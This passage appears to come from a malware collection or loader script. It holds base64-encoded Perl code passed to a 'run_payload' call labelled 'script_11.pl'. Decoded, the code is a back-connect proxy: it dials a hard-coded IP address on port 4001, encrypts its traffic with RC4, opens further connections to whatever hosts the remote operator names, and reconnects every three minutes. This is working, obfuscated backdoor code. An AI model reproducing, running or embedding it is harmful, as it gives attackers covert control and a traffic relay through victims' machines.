QkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_11.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYwJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHN